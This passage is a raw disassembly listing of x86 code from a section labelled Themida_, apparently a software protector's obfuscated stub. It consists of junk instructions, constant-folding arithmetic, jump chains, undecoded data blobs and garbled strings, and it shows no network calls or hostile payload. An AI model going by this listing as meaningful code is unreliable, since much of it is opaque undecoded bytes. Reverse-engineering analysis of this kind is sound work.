ebx mov ebx, 323B5564h inc ebx shr ebx, 4 neg ebx jmp loc_558DA4 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 33E9E831h db 0C1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AB73: ; CODE XREF: Themida_:005647D0j mov [esp], edi push 16FEh mov [esp], edx push 5F9B427Eh jmp loc_5615CE ; --------------------------------------------------------------------------- dd 815EF301h, 4ECh, 24048900h, 4B8h, 8BC32900h, 0C4832404h dd 74FF5304h, 0A0E90424h, 81000072h, 0DC0223F1h, 0F1F18175h dd 5174BC74h, 59240CFFh, 5590C181h, 0CB01015Fh, 5BD90959h dd 0F11E9h, 24048700h, 6915E95Ch, 0E289FFFFh, 0B91DE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ABDE: ; CODE XREF: Themida_:00551958j add esp, 4 pop dword ptr [esp] pop esp jmp loc_563E94 ; --------------------------------------------------------------------------- dw 48Bh dd 4C48124h, 0FF000000h, 815D2434h, 4C4h, 77E26800h, 1C890000h dd 2474FF24h, 241C8B04h, 4C481h, 48F0000h, 24248B24h, 9C243CD3h dd 0FF68CAE9h, 665B59FFh, 5EE95159h, 0F700005Fh, 3B850D6h dd 810AAA02h, 4ECh, 241C8900h, 0D2155CBBh, 0E3814367h dd 462F3719h, 2CE9D3F7h, 6800004Ah, 262Ch, 0B9240C89h dd 65DC7243h, 0FF87E9E9h, 2543BBFFh, 0C38112EDh, 51D4EB9Fh dd 0E95BDF89h, 51E4h ; --------------------------------------------------------------------------- loc_55AC74: ; CODE XREF: Themida_:0055E068j push edx push 53B1h mov [esp], eax jmp loc_5596EC ; --------------------------------------------------------------------------- loc_55AC82: ; CODE XREF: Themida_:0055AE66j add ecx, 75CF5495h jmp loc_557E0F ; --------------------------------------------------------------------------- db 66h, 29h, 0DEh dd 31665B66h, 56E95EF2h, 89000075h, 4C381E3h, 83000000h dd 1C8702EBh, 89665C24h, 0B966240Ch, 16E9046Ch db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55ACB7: ; CODE XREF: Themida_:005627BBj mov esp, [esp] xchg ebx, edi xchg edi, edx jmp loc_56423A ; --------------------------------------------------------------------------- db 0B8h dd 21092B98h, 92528B2Dh, 58C7293Fh, 665FFB01h, 10E930FFh dd 8BFFFF68h, 0C483241Ch, 28B95104h, 81000000h, 0D2F6CC1h dd 0DE98126h, 141AA60h, 0DC181F9h, 8141AA60h, 0D2F6CE9h dd 4EC8126h, 89000000h, 13E92404h db 9, 2 dup(0) byte_55AD0F db 0FFh ; DATA XREF: Themida_:0055145Co dd 0C8B2434h, 5EF76824h, 2C890000h, 53E58924h, 8533FABBh dd 6855h, 1C290000h, 514B5B24h, 512CEBB9h, 4149413Ah, 0E0EDF181h dd 0CB29902Bh, 656EE959h, 0E9590000h, 0A099h, 8124148Bh dd 4C4h, 243C3300h, 0E9243C31h, 0FFFF9AD9h, 5E08950h, 4 dd 3304E883h, 4312404h, 0B7A5E924h, 57530000h, 4B0EE9h dd 62F28000h, 0E96AEA80h, 63EFh, 5124248Bh, 0BC4372B9h dd 0AC11E93Ah, 4BA0000h, 89000000h, 855AE9D7h, 0E9550000h dd 2831h, 880DB151h, 7D83E9CCh, 24890000h, 4B95124h, 1000000h dd 0E904244Ch, 0FFFFF214h, 4205BF57h, 0FD31C10Ah, 0E9EA895Fh dd 9B36h ; --------------------------------------------------------------------------- loc_55ADD4: ; CODE XREF: Themida_:00553E4Cj add ebx, 354F0B4Dh add ebx, eax jmp loc_564322 ; --------------------------------------------------------------------------- loc_55ADE1: ; CODE XREF: Themida_:0055D624j add edi, ebp pop ebp jmp loc_551ED7 ; --------------------------------------------------------------------------- db 50h, 0B8h, 7Ah dd 0F7754B0Ah, 33C72DD8h, 0AFE91107h, 5FFFFFA6h, 5A92E981h dd 0F1817A85h, 1D37C5CBh, 1074C52Dh, 0E9C80134h, 0FFFF7861h dd 4EB81h, 5E90000h, 5BFFFFF1h, 5507EFC1h, 636D74BDh, 8E5C14Dh dd 0B9ED814Dh, 95DC02Eh, 0A2E95DEFh, 0FF00005Dh, 48B2434h dd 4C48324h, 4C481h, 9CE90000h db 66h, 2 dup(0FFh) byte_55AE4F db 0ADh ; DATA XREF: Themida_:00551478o dd 567BBD55h, 0EE010D81h, 0FF9362E9h db 0FFh ; --------------------------------------------------------------------------- loc_55AE5D: ; CODE XREF: Themida_:0055B72Aj add edi, 53274806h and ecx, edi pop edi jmp loc_55AC82 ; --------------------------------------------------------------------------- loc_55AE6B: ; CODE XREF: Themida_:00553D42j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp mov ebp, 48FF0D03h xor ebp, 0B29B687Bh sub esi, ebp pop ebp sub esi, 39553D9h sub esi, edi push ecx mov ecx, 39553D9h add esi, ecx pop ecx pop edi and eax, esi push dword ptr [esp] mov esi, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add esp, 4 shr eax, 0Ah xor eax, ecx xor eax, edi jmp loc_55F53D ; --------------------------------------------------------------------------- loc_55AEC8: ; CODE XREF: Themida_:00565DE2j push 5202h mov [esp], edx mov edx, 24D55C4Fh push esi jmp loc_56439A ; --------------------------------------------------------------------------- loc_55AEDB: ; CODE XREF: Themida_:00559E48j push edx mov edx, 34372AD1h shr edx, 1 jmp loc_56340F ; --------------------------------------------------------------------------- dd 0AF5D01BEh, 54E68137h, 8128143Fh, 0E02C1DF6h, 0DCE94E62h db 59h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55AEFF: ; CODE XREF: Themida_:0055C187j add [edi+24h], esi mov esi, [esp] jmp loc_5559D6 ; --------------------------------------------------------------------------- aBcplcqsi0 db '│ГplCQИ┬0',0 dd 0C3815B00h, 4, 4EB81h, 0FF530000h, 5B042474h, 0A91FE9h db 0 ; --------------------------------------------------------------------------- loc_55AF2D: ; CODE XREF: Themida_:0055FDB1j push 485Dh mov [esp], edx sub esp, 4 mov [esp], ebx mov ebx, 4BD71658h push eax mov eax, ebx jmp loc_557ABC ; --------------------------------------------------------------------------- dd 602194B9h, 33FBE93Ch, 0EA810000h, 6C672B51h, 0E9D0895Dh dd 8111h ; --------------------------------------------------------------------------- loc_55AF60: ; CODE XREF: Themida_:005526EDj sub eax, 0EA84CF7h push edi mov edi, 5B291922h push edx mov edx, 308DA2C7h sub edi, edx jmp loc_564CF9 ; --------------------------------------------------------------------------- dd 761C381h, 0DD895237h, 56241C8Bh, 0C681E689h, 4, 0FFCDA8E9h dd 5DEB29FFh, 0FFE2A5E9h, 246C81FFh, 5B270F04h, 24048B04h dd 5904C483h, 0EAD2E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55AFAE: ; CODE XREF: Themida_:0055A5CCj add edx, 4 xchg edx, [esp] pop esp shr edx, 1 push edi mov edi, 0D0325F41h sub edx, 6C3B7F65h add edx, edi jmp loc_55EDF3 ; --------------------------------------------------------------------------- db 81h, 0EFh, 8Dh dd 1A070AFh, 4335FF8h, 24043124h, 8B240433h, 0E9F62424h dd 0CCB60F66h, 8904EC83h, 68E9243Ch, 0BAFFFFEDh, 22A40326h dd 515AD121h, 0FFD00EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B001: ; CODE XREF: Themida_:00560EC7j add esp, 4 jmp loc_554C9D ; --------------------------------------------------------------------------- db 0F6h, 0D6h, 0FEh dd 80C6FEC6h, 0C680FDCEh, 5AF5009Dh, 5B7DED80h, 0E95366h dd 68FFFFACh, 3622h, 81240489h, 4ECh, 242C8900h, 1C58BA52h dd 0D58956D5h, 5DE8895Ah, 0D51C542Dh, 0FFC30156h, 0F1E92434h dd 5000004Fh, 0B45FB353h, 2F4BE924h, 45BE0000h, 0F739E121h dd 0AEEE81D6h, 896B0B96h, 0F996E9F1h, 0C1BDFFFFh, 81430A41h dd 3629EBC6h, 81EE0104h, 3629EBEEh, 2434FF04h, 6335E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B08A: ; CODE XREF: Themida_:0055E638j add esp, 4 push edx mov edx, 4 push esi mov esi, 238739F6h inc esi xor esi, 33861A07h shr esi, 4 add esi, 4A3C4E50h add esi, 1B44A785h add ebx, esi pop esi add ebx, edx sub ebx, 66810814h jmp loc_55CF96 ; --------------------------------------------------------------------------- word_55B0C2 dw 8B66h ; DATA XREF: Themida_:0055139Co dd 89532404h, 4EC83E3h, 51240489h, 5F624568h, 8157593Eh dd 4ECh, 24348900h, 0B2A7EBEh, 0B222E930h, 0CE810000h dd 76CB6834h, 6E71EE81h, 0B8507FCFh, 168B0719h, 0F8354848h dd 0E955C951h, 0FFFFC713h ; --------------------------------------------------------------------------- loc_55B108: ; CODE XREF: Themida_:0055A0E1j mov [esp], edi push esi mov esi, 6E9D4572h dec esi neg esi push ecx mov ecx, 7F0084A5h add esi, ecx pop ecx push ecx mov ecx, esi push ecx jmp loc_55DDA4 ; --------------------------------------------------------------------------- loc_55B126: ; CODE XREF: Themida_:005572ACj shl esi, 3 sub esi, 638E2039h neg esi shr esi, 4 add esi, 0FF9CD251h add ebp, esi pop esi sub ebp, 80B7859Eh add edi, 0BCB0750h jmp loc_560687 ; --------------------------------------------------------------------------- dw 0DEF7h dd 0FF7BF4E9h, 241C89FFh, 0FFCAE0E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B15D: ; CODE XREF: Themida_:0056614Bj sub ebx, 1 neg ebx sub esp, 4 mov [esp], ecx jmp loc_5625FF ; --------------------------------------------------------------------------- db 56h, 0BEh, 12h dd 561E267Dh, 93B0E9h db 0 ; --------------------------------------------------------------------------- loc_55B179: ; CODE XREF: Themida_:005567F6j and esi, edi pop edi jmp loc_563696 ; --------------------------------------------------------------------------- db 81h, 0C5h, 1Bh dd 814BEE4Ch, 1600DCF5h, 81D5F701h, 0D8093AEDh, 4EC812Ch dd 89000000h, 62E9241Ch db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1A3: ; CODE XREF: Themida_:0055EAE4j xchg edi, [esp] pop esp jmp loc_552DE7 ; --------------------------------------------------------------------------- dd 2726C02Dh, 242C8B50h, 4C481h, 0EC830000h, 0D041E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B1C2: ; CODE XREF: Themida_:00561339j shl ecx, 7 xor ecx, 0B061B804h add ebp, ecx pop ecx add ebp, 4 jmp loc_563C22 ; --------------------------------------------------------------------------- dw 0E289h dd 4BB53h, 0DA010000h, 0A0B5E95Bh, 14890000h, 98685724h dd 5F4C7358h, 0FF8C91E9h, 8B5259FFh, 98E9243Ch, 59000068h dd 0A8B5E956h, 0EC83FFFFh, 10A5E904h, 69BA0000h, 811D7660h dd 0D2790CF2h, 0E9E2D145h, 0B735h ; --------------------------------------------------------------------------- loc_55B220: ; CODE XREF: Themida_:00556990j pop dword ptr [esp] pop esp and ecx, eax push dword ptr [esp] pop eax add esp, 4 shr ecx, 2 push ecx push esp mov ecx, [esp] add esp, 4 push ebp mov ebp, 411A63BDh neg ebp jmp loc_566337 ; --------------------------------------------------------------------------- dword_55B248 dd 240C8B66h, 0FF73D2E9h, 2404FEFFh, 5FEE95Bh, 0C890000h ; DATA XREF: Themida_:0055149Co dd 53E18924h, 45876852h, 148B1DFAh, 4C48324h, 7C9AF281h dd 0C2815A42h, 67166054h, 6270BB53h, 0C1432C4Ch, 0C38108EBh dd 0B0F2916h, 3340E381h, 0C38151C5h, 2AD72AD2h, 815BDA29h dd 0F63D5BEAh, 5AD38982h, 685BD901h, 1082h, 0BA241489h dd 4, 0FFEB5AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B2B5: ; CODE XREF: Themida_:00555B83j mov eax, 4B062012h jmp loc_55797E ; --------------------------------------------------------------------------- db 31h dd 3C33243Ch, 34FF5C24h, 54505F24h, 40558h, 0B9510000h dd 657D168Dh, 6568E981h, 25E9675Eh, 6800008Ah, 5458h, 1773E9h dd 4EC8300h, 54243489h, 0FF8A4EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B2F9: ; CODE XREF: Themida_:0055D416j pop ecx push ebp mov ebp, 4 add ecx, 75F86E0Ah add ecx, ebp push ebx mov ebx, 560C4715h xor ebx, 56BB2325h or ebx, 57B7404Dh xor ebx, 58F92ED3h and ebx, 3C0645Fh or ebx, 52D25E3Fh add ebx, 22260FCBh sub ecx, ebx jmp loc_556FF8 ; --------------------------------------------------------------------------- loc_55B339: ; CODE XREF: Themida_:00556713j sub dl, 1Eh add dl, 0Ch xor bl, dl pop edx jmp loc_552CB0 ; --------------------------------------------------------------------------- db 53h dd 16240481h, 0E912C04Bh, 0FFFF61D2h, 321436BEh, 0AFE6817Bh dd 5679D656h, 0E92414F7h, 2EE4h, 815EF201h, 4C2h, 24148700h dd 3CE9565Ch, 53FFFFD5h, 8952E389h, 4C281E2h, 57000000h dd 1681E9h, 24048900h, 0FFF0FAE9h db 0FFh ; --------------------------------------------------------------------------- loc_55B395: ; CODE XREF: Themida_:00556D06j add al, dl add al, 0Ch jmp loc_55BEC2 ; --------------------------------------------------------------------------- aUBug?lsT db ')Н]│Н┐,?lИ╦t',0 align 4 dd 0E9AECE80h, 0FFFF73E0h, 4C481h, 0B5510000h, 3EDC09Bh dd 0C007E5C0h, 0BFE907E5h db 2Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55B3CB: ; CODE XREF: Themida_:00562811j add edi, 2DA225DEh jmp loc_5621E4 ; --------------------------------------------------------------------------- dw 0FF50h dd 0E9042474h, 8CE4h, 4C681h, 34870000h, 85E95C24h db 8Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B3EF: ; CODE XREF: Themida_:0055C366j mov al, 66h xor al, 3 push 536Bh mov [esp], ecx mov cl, 54h or al, cl pop ecx not al jmp loc_565EAF ; --------------------------------------------------------------------------- db 89h dd 2682404h, 8900003Fh, 66532414h, 6605D7BBh, 665C16BAh dd 665BDA29h, 0E901C283h, 0FFFF9F1Ch ; --------------------------------------------------------------------------- loc_55B428: ; CODE XREF: Themida_:0055166Cj add esp, 4 push esi jmp loc_556F1D ; --------------------------------------------------------------------------- dword_55B434 dd 0FF2434FFh, 81582434h, 4C4h, 1A0B6800h, 0C890000h, 1BDAE924h ; DATA XREF: Themida_:00551294o dd 0E9580000h, 0FFFFF6DAh ; --------------------------------------------------------------------------- loc_55B454: ; CODE XREF: Themida_:005550EEj add edx, edi pop edi jmp loc_55E0DB ; --------------------------------------------------------------------------- aFq db 'fQ╠Л',0 db 0CCh, 66h, 59h dd 2858E730h, 241C8BF8h, 4C481h, 0E95A0000h, 3C2Dh ; --------------------------------------------------------------------------- loc_55B478: ; CODE XREF: Themida_:0055BD7Cj add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_5583F0 ; --------------------------------------------------------------------------- aHof db '©hO■',0 db 81h dd 9A5EBEE7h, 2EFC140h, 8103E7C1h, 0DF63B1C7h, 0F348E9FEh dd 0E681FFFFh, 57676513h, 2AB5F681h, 0F7015489h, 840EE95Eh dd 1C890000h, 4BE5624h, 89000000h, 0B8505EF3h, 2B401B9Ch dd 0E8D1E0D1h, 7D644635h, 58C20127h, 0A4E9DA01h db 0A9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B4DF: ; CODE XREF: Themida_:00565409j pop edi push dword ptr [esp] pop ebx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp add [esp+4], ebp add dword ptr [esp+4], 0AB91301h pop ebp pop dword ptr [edi+24h] jmp loc_558AEC ; --------------------------------------------------------------------------- loc_55B50A: ; CODE XREF: Themida_:00558CE2j add edx, 4 xchg edx, [esp] pop esp sub edx, 1 push eax jmp loc_564D2A ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 0B13900BAh, 2599E97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B52A: ; CODE XREF: Themida_:00562005j pop dx pop ecx jmp loc_561D58 ; --------------------------------------------------------------------------- dw 0FF2Dh dd 0E9FFFFFFh, 7E51h ; --------------------------------------------------------------------------- loc_55B53C: ; CODE XREF: Themida_:00558B4Bj sub esp, 4 jmp loc_55F052 ; --------------------------------------------------------------------------- dword_55B544 dd 8B2434FFh, 89E92404h, 31000052h, 34332434h, 24248B24h ; DATA XREF: Themida_:00551328o dd 0FF7C8DE9h, 0B60F66FFh, 316866CCh, 50CEE938h, 7CE90000h dd 0FEFFFF5Fh, 2E4C0C4h, 0F480DCF6h, 8BE328C0h, 0C4832404h dd 0EDC38004h, 0EB80D328h, 0CC380EDh, 9EF2E95Ah db 2 dup(0) word_55B592 dw 8B66h ; DATA XREF: Themida_:00551240o dd 0BE9240Ch db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55B59B: ; CODE XREF: Themida_:0055A87Cj sub esp, 4 mov [esp], edi jmp loc_552CE3 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 8124048Bh, 4C4h, 5B545300h, 4C381h, 0C3830000h, 241C8704h dd 0F6E5865Ch, 30E530D4h, 0E9E530ECh, 0FFFFA5CBh ; --------------------------------------------------------------------------- loc_55B5D4: ; CODE XREF: Themida_:00556D1Bj mov ebx, 7E1B7744h or ebx, 3956CF9h dec ebx jmp loc_565C5B ; --------------------------------------------------------------------------- db 81h, 0C2h, 2Dh dd 0E94DFE56h, 5505h, 0CDE9F729h, 55FFFF94h, 3D24B768h dd 0CFADE934h, 2D58FFFFh, 7096354h, 89D8015Fh, 2434FF08h dd 4C48158h, 0FF000000h, 34FF2434h, 0C13DE924h, 0B8FFFFh dd 0E9000000h, 4684h, 24E9525Ch, 45FFFFECh, 0FAF58145h dd 0E9781F30h, 0A906h, 592434FFh, 81E78957h, 4C7h, 0AC00E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B652: ; CODE XREF: Themida_:005651CDj mov [esp], esp jmp loc_561507 ; --------------------------------------------------------------------------- dw 0C281h dd 4, 8704C283h, 0E95C2414h, 6775h, 49B3C581h, 875E082Eh dd 895C242Ch, 0D5B9240Ch, 4173303Ah, 0FFA952E9h db 0FFh ; --------------------------------------------------------------------------- loc_55B685: ; CODE XREF: Themida_:00557BD5j sub al, cl pop ecx jmp loc_560B1A ; --------------------------------------------------------------------------- byte_55B68D db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:00551414o dd 0FBB25253h, 0F280CAFEh, 6EAC06Fh, 0FFEB67E9h, 81515EFFh dd 4ECh, 24148900h, 2BAh, 0E9D18900h, 0FFFFED6Ch, 74FF5359h dd 0E95B0424h, 9D82h, 0B258E95Ch, 0CA29FFFFh, 6717EA81h dd 31E91A03h, 89FFFFABh, 0CD015AD1h, 4C8DE9h db 0 ; --------------------------------------------------------------------------- loc_55B6E1: ; CODE XREF: Themida_:00557DA0j add ecx, 4 xchg ecx, [esp] jmp loc_563201 ; --------------------------------------------------------------------------- loc_55B6EF: ; CODE XREF: Themida_:0055F8ADj pop edx push esi mov esi, 15BB14A6h not esi jmp loc_56493C ; --------------------------------------------------------------------------- loc_55B6FD: ; CODE XREF: Themida_:005663A6j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx mov ecx, 1E8E46B1h sub ecx, 1 push edi sub esp, 4 mov [esp], esi mov esi, 5959393Ah sub esi, 1224D5A7h mov edi, esi pop esi shr edi, 8 jmp loc_55AE5D ; --------------------------------------------------------------------------- align 10h dd 77EA80C2h, 2EB55158h, 2859E828h, 4EC83D0h, 0B5240C89h dd 0F8042Eh, 59F82CE8h, 8124148Bh, 4C4h, 68C33000h, 7901h dd 54242C89h, 52B8505Dh, 0C10B9868h, 542503E0h, 0E9658F59h dd 13AAh ; --------------------------------------------------------------------------- loc_55B774: ; CODE XREF: Themida_:00558E8Ej xor esi, [esp] jmp loc_552A64 ; --------------------------------------------------------------------------- loc_55B77C: ; CODE XREF: Themida_:0055E581j add esi, 4 xchg esi, [esp] pop esp xor edx, edx jmp loc_55480D ; --------------------------------------------------------------------------- loc_55B78D: ; CODE XREF: Themida_:0055BA5Aj xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] push 1C0Ch jmp loc_55E773 ; --------------------------------------------------------------------------- db 33h dd 14312414h, 77EE924h, 0CF000000h, 5BFA0059h, 0FFFF76E9h dd 24048FFFh, 8904EC83h, 468243Ch, 8B000000h, 0C481243Ch dd 4, 4244481h, 7EF572EAh, 4247C01h, 0FFF29FE9h db 0FFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 push ebp jmp loc_555A06 ; --------------------------------------------------------------------------- loc_55B7F6: ; CODE XREF: Themida_:00556B15j push dword ptr [esp] jmp loc_55F424 ; --------------------------------------------------------------------------- aPGjw@@sxg db 'P╦эG╕W@@Иxg',0 dw 6600h dd 661E4DBDh, 2C816655h, 6656E924h, 0C681665Eh, 8CE956E9h dd 0B5000035h, 55F58025h, 8002B450h, 0E52863F4h, 52D5F658h dd 0F28013B2h, 5AD508C2h, 0E988C580h, 0B45Ch, 5C240C87h dd 2E5C15Fh, 2414F755h, 0E9242C8Bh, 0FFFFF2B2h, 8047F380h dd 0B55187EBh, 53ED80F3h, 8859EB00h, 76ABE9D9h, 0C780FFFFh dd 4EFC020h, 0FFA768E9h, 0C68158FFh, 48AB28ECh, 0E951C601h dd 0A1A9h ; --------------------------------------------------------------------------- loc_55B888: ; CODE XREF: Themida_:00560B20j push ecx mov ch, 0CEh inc ch jmp loc_56487F ; --------------------------------------------------------------------------- dw 1C89h dd 0F5E95424h, 8100001Bh, 18424CF2h, 6BBE5607h, 130750Bh dd 0F2815EF2h, 48085EA1h, 295AD029h, 3444E9C6h db 2 dup(0) word_55B8BA dw 8B66h ; DATA XREF: Themida_:00551374o dd 3C68240Ch, 89000019h, 0FF54243Ch, 815F2434h, 4C4h, 4C78100h dd 0E9000000h, 0FFFFD035h, 52B95153h, 894B1501h, 904AE9CBh dd 0D0F7FFFFh, 9BFFF135h, 0C298E9BFh, 0C681FFFFh, 6CE6345Ch dd 0BD55575Bh, 8450DFh, 8450DDBFh, 5DEF3100h, 335FFE01h dd 38E92434h, 48FFFFFCh, 31E95657h, 52000057h, 0E0243481h dd 587F9B26h, 0FF914EE9h, 24048FFFh, 4240481h, 8B000000h dd 0C4832414h, 23DD6804h, 3C890000h, 7001BF24h, 0C78174F6h dd 1, 7006F781h, 0FA0174F6h, 81243C8Bh, 4C4h, 7ABE5600h dd 81657466h, 1C6h, 2E6C100h, 483E9h, 0E9EF3100h, 9CDBh ; --------------------------------------------------------------------------- loc_55B97C: ; CODE XREF: Themida_:00554DF2j add esp, 4 jmp loc_55C2AC ; --------------------------------------------------------------------------- db 54h dd 4C5815Dh, 0E9000000h, 3564h ; --------------------------------------------------------------------------- loc_55B994: ; CODE XREF: Themida_:00556466j xor [esp+4], edi push dword ptr [esp] mov edi, [esp] add esp, 4 push ebx mov ebx, esp jmp loc_55A825 ; --------------------------------------------------------------------------- dd 0A33237B9h, 11F1814Dh, 81651407h, 0C64917C6h, 0E9BE918h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55B9C2: ; CODE XREF: Themida_:00559DEDj movzx ax, byte ptr [eax] push small 1B66h mov [esp], ax jmp loc_5514EB ; --------------------------------------------------------------------------- loc_55B9D3: ; CODE XREF: Themida_:0055A1B1j jmp loc_5514EB ; --------------------------------------------------------------------------- loc_55B9D8: ; CODE XREF: Themida_:0055A2D6j add edx, 2C9B7847h sub edx, 4926689Eh sub ebp, edx pop edx add ebp, 6C03C07Eh jmp loc_555DE7 ; --------------------------------------------------------------------------- dw 1C89h dd 81E38924h, 4C3h, 4C38300h, 0E9241C87h, 0FFFFFC24h, 5004C483h dd 0CD6A7668h, 0C329587Ah, 8124048Bh, 4C4h, 75E95E00h dd 59FFFFD6h, 8601E9h, 86F28000h, 4D89E9h, 242C8B00h, 0FF972BE9h dd 0A3B252FFh, 0E88E9h, 24048100h, 14355044h, 3938E9h db 0 ; --------------------------------------------------------------------------- loc_55BA4D: ; CODE XREF: Themida_:0055E164j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_55B78D ; --------------------------------------------------------------------------- db 54h dd 40558h, 0BF570000h, 4, 0FFEEEDE9h, 0EE95CFFh, 0BDFFFFD6h dd 0F7F59D6h, 0F587D5F7h, 0FF7568E9h, 3DBD55FFh, 0E96A602Dh dd 758Bh, 8103E1C1h, 8771A4F1h, 0B2EB81F7h, 1330023h, 0B2C381CBh dd 0E9330023h, 30DFh, 0D2F79259h, 0F7974892h, 54097D7h dd 681C72B1h, 0FFB5E955h, 148BFFFFh, 4C48124h, 87000000h dd 575C243Ch, 42474FFh, 24048F5Fh, 7EA9E95Ch, 0D1F7FFFFh dd 1C18C981h, 0E9313DCBh, 0E931CD31h, 0E987D5F7h, 22C4BF57h dd 0F931729Ah, 0E9C8315Fh, 0FFFFC5E3h, 0F704EEC1h, 4EC83DEh dd 0E9242C89h, 9401h ; --------------------------------------------------------------------------- loc_55BB10: ; CODE XREF: Themida_:00557360j xor ebx, [edx] pop edx xor [edi+24h], ebx loc_55BB16: ; CODE XREF: Themida_:00560609j push 46DBh mov [esp], ecx mov ecx, esp push eax push ebp mov ebp, 79DC7951h mov eax, 862386B3h add eax, ebp pop ebp jmp loc_565454 ; --------------------------------------------------------------------------- dd 2404875Ch, 0E924248Bh, 0FFFF746Ah, 0FF59A6E9h, 0FD295FFFh dd 81D5015Fh, 80400EC5h, 31C58114h, 5A360207h, 7AB568h dd 242C8900h, 42474FFh, 0FFBDEEE9h, 3E0C1FFh, 0BB071635h dd 54D43520h, 0C231189Fh, 0E924048Bh, 4B12h, 0FFEB0158h dd 835D2434h, 0BA5204C4h, 4, 4520B951h, 0EB81312Eh, 1AF7382Dh dd 0C381CB01h, 1AF7382Dh, 52D30159h, 0DA6C9FBAh, 84CA8121h dd 0E9196B7Ah, 0FFFFA169h, 8124348Bh, 4C4h, 81EB0100h dd 7F680BEBh, 2434FF25h, 0FFA62BE9h, 2DF801FFh, 4E6B4D26h dd 0DD32B405h, 0DF3CE913h, 0F181FFFFh, 0FBEDCFB2h, 8159CD01h dd 4C5h, 242C8700h, 6A66E95Ch, 0CE810000h, 2E3932B6h, 7CB26853h dd 505B7F76h, 0E41404B8h, 58C3292Ah, 3402BF57h, 9CE92C68h db 4Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC1B: ; CODE XREF: Themida_:00565177j mov edx, 22BC48A1h not edx sub esp, 4 mov [esp], edx xor [esp], esi jmp loc_551F48 ; --------------------------------------------------------------------------- db 5Bh dd 15FF829h, 0F6BF57D0h, 55688144h, 0FFE005E9h, 1CE958FFh dd 8300006Ah, 0EE8101C6h, 769E0568h, 2404FF56h, 1614685Eh dd 14890000h, 426FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55BC66: ; CODE XREF: Themida_:00560EBFj mov [esp], ebp jmp loc_55C56D ; --------------------------------------------------------------------------- dw 4BEh dd 1000000h, 0E8835EF0h, 74FF5004h, 48B0424h, 0E1895124h dd 14ABE9h db 0 ; --------------------------------------------------------------------------- loc_55BC89: ; CODE XREF: Themida_:00555F0Fj mov [esp], eax mov eax, esp push ecx push ebx push 615E713Bh pop ebx shl ebx, 6 shr ebx, 8 add ebx, 171B8968h mov ecx, ebx pop ebx neg ecx add ecx, 73DA7DBBh jmp loc_561CB8 ; --------------------------------------------------------------------------- loc_55BCB2: ; CODE XREF: Themida_:00551C1Cj xor [esp], ebp jmp loc_56339A ; --------------------------------------------------------------------------- dw 0BA52h dd 46902A64h, 0BD5AD389h, 1DE372F9h, 0E5D1454Dh, 81DDF745h dd 571053C5h, 0FFDD3182h, 0E2E92434h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55BCDF: ; CODE XREF: Themida_:005537C2j xor ecx, [esp] jmp loc_56218B ; --------------------------------------------------------------------------- db 5 dd 4, 0FFEDE5E9h, 4BAFFh, 0E9810000h, 493052FAh, 0F3E9D101h dd 810000A7h, 4C4h, 0BCF38100h, 0FF411D7Eh, 525A2434h dd 0FF77E1E9h, 4C483FFh, 1B850h, 0C2290000h, 8047E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BD2A: ; CODE XREF: Themida_:00558C85j mov edi, 71612AFEh xor edi, 31D545A4h sub edx, edi mov edi, [esp] jmp loc_5525E4 ; --------------------------------------------------------------------------- aIcpwsU db '┴ГPWИ°·',0 align 4 loc_55BD48: ; CODE XREF: Themida_:005549CCj sub esi, 0D01964A5h mov ebx, esi pop esi add eax, ebx jmp loc_55A09D ; --------------------------------------------------------------------------- loc_55BD58: ; CODE XREF: Themida_:00566DBDj pop ebp sub edi, 0BCB0750h pop ebp add edi, 4 xchg edi, [esp] mov esp, [esp] sub [esp+4], edi push dword ptr [esp] mov edi, [esp] add esp, 4 push eax mov eax, esp jmp loc_55B478 ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 5F8BE56h, 0CE817358h, 8A50098h, 6D23C681h, 0EE8125C2h dd 6E3055F9h, 4BF4C681h, 0F6814690h, 5A5B2E51h, 4E80E9h db 0 ; --------------------------------------------------------------------------- loc_55BDAD: ; CODE XREF: Themida_:005649EFj mov ebp, [esp] add esp, 4 jmp loc_556A35 ; --------------------------------------------------------------------------- loc_55BDBB: ; CODE XREF: Themida_:005521F7j push ecx jmp loc_557D98 ; --------------------------------------------------------------------------- byte_55BDC1 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00551368o aHZ db '$hыZ',0 align 2 dw 3489h dd 815E5424h, 4C6h, 347E6800h, 14890000h, 9EE95424h, 9FFFF83h dd 81CEE9F9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55BDEA: ; CODE XREF: Themida_:00552A7Ej push ecx 